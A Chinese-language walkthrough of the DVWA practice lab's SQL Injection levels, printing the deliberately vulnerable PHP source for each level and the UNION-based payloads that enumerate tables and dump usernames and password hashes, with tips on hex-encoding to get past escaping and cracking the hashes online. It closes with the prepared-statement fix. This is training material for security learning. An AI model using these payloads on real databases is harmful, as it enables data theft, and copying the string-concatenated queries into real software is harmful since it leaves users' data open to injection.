DVWA靶场之SQL Injection通关

SQL注入，一个大概的手工流程：

1. 判断是否有注入，什么类型
2. 破解SQL语句中查询的字段数是多少
3. 确定回显位置
4. 破库
5. 破表
6. 破字段
7. 获得内容

Low：

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {

// Get input

$id = $_REQUEST[ 'id' ];

// Check database

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results

while( $row = mysqli_fetch_assoc( $result ) ) {

// Get values

$first = $row["first_name"];

$last  = $row["last_name"];

// Feedback for end user

echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

}

mysqli_close($GLOBALS["___mysqli_ston"]);

}

?>

没有任何过滤就带入查询

手工注入测试，标准流程化操作

输入1，成功并返回结果

输入1' 报错，提示得知是字符型注入

1' order by 16# 测试，报错，减半再试，直到1' order by 2 #不报错，字段数2

1' union select 1,2 # 回显两个点

1' union select 1,database() # 查库

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 查表

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 查字段

1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users # 查数据

www.cmd5.com破解一下密码

Medium：

<?php

if( isset( $_POST[ 'Submit' ] ) ) {

// Get input

$id = $_POST[ 'id' ];

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

// Get results

while( $row = mysqli_fetch_assoc( $result ) ) {

// Display values

$first = $row["first_name"];

$last  = $row["last_name"];

// Feedback for end user

echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

}

}

// This is used later on in the index.php page

// Setting it here so we can close the database connection in here like in the rest of the source scripts

$query  = "SELECT COUNT(*) FROM users;";

$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);

?>

界面变成了下拉表单，还有mysqli_real_escape_string转义

用burp suite抓包改包，改id的值即可，与low级别思想一样的，一套连招

有一个区别，由于有了转义，low级别用的’users’这种带引号的必不可能用了，可以将users ASCII hex编码一波0x7573657273

High：

界面又变了

<?php

if( isset( $_SESSION [ 'id' ] ) ) {

// Get input

$id = $_SESSION[ 'id' ];

// Check database

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results

while( $row = mysqli_fetch_assoc( $result ) ) {

// Get values

$first = $row["first_name"];

$last  = $row["last_name"];

// Feedback for end user

echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);

}

?>

LIMIT 1限制了输出只有1个结果，可注释掉

思路和前面一致

1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

另：经提醒，两个界面分离，可干扰sqlmap注入

Impossible：

<?php

if( isset( $_GET[ 'Submit' ] ) ) {

// Check Anti-CSRF token

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input

$id = $_GET[ 'id' ];

// Was a number entered?

if(is_numeric( $id )) {

// Check the database

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

$data->bindParam( ':id', $id, PDO::PARAM_INT );

$data->execute();

$row = $data->fetch();

// Make sure only 1 result is returned

if( $data->rowCount() == 1 ) {

// Get values

$first = $row[ 'first_name' ];

$last  = $row[ 'last_name' ];

// Feedback for end user

echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

}

}

}

// Generate Anti-CSRF token

generateSessionToken();

?>

PDO还是很有用的